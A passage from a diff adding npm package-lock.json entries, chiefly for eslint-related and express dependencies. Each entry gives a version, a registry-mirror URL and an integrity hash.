"sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-plugin-vue/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/eslint-utils/-/eslint-utils-2.1.0.tgz", + "integrity": "sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^1.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "dev": true, + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.3", + "resolved": "https://registry.npmmirror.com/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/eslint-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/eslint/node_modules/@babel/code-frame": { + "version": "7.12.11", + "resolved": "https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.12.11.tgz", + "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.10.4" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/eslint/node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/eslint/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/eslint/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/espree": { + "version": "7.3.1", + "resolved": "https://registry.npmmirror.com/espree/-/espree-7.3.1.tgz", + "integrity": "sha512-v3JCNCE64umkFpmkFGqzVKsOT0tN1Zr+ueqLZfpV1Ob8e+CEgPWa+OxCoGH3tnhimMKIaBm4m/vaRpJ/krRz2g==", + "dev": true, + "dependencies": { + "acorn": "^7.4.0", + "acorn-jsx": "^5.3.1", + "eslint-visitor-keys": "^1.3.0" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/espree/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/espree/node_modules/eslint-visitor-keys": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esquery/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/event-pubsub": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/event-pubsub/-/event-pubsub-4.3.0.tgz", + "integrity": "sha512-z7IyloorXvKbFx9Bpie2+vMJKKx1fH1EN5yiTfp8CiLOTptSYy1g8H4yDpGlEdshL1PBiFtBHepF2cNsqeEeFQ==", + "dev": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmmirror.com/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "dev": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "dev": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/express": { + "version": "4.21.1", + "resolved": "https://registry.npmmirror.com/express/-/express-4.21.1.tgz", + "integrity": "sha512-YSFlK1Ee0/GC8QaO91tHcDxJiE/X4FbpAyQWkxAvG6AXCuR65YzK8ua6D9hvi/TzUfZMpc+BwuM1IPw8fmQBiQ==", + "dev": true, + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.7.1", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true + }, + "node_modules/fast-uri": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/fast-uri/-/fast-uri-3.0.3.tgz", + "integrity": "sha512-aLrHthzCjH5He4Z2H9YZ+v6Ujb9ocRuW6ZzkJQOrTxleEijANq4v1TsaPaVG1PZcuurEzrLcWRyYBYXD5cEiaw==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.17.1", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmmirror.com/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dev": true, + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/figures": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/figures/-/figures-2.0.0.tgz", + "integrity": "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-saver": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/file-saver/-/file-saver-2.0.5.tgz", + "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmmirror.com/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/flatted/-/flatted-3.3.1.tgz", + "integrity": 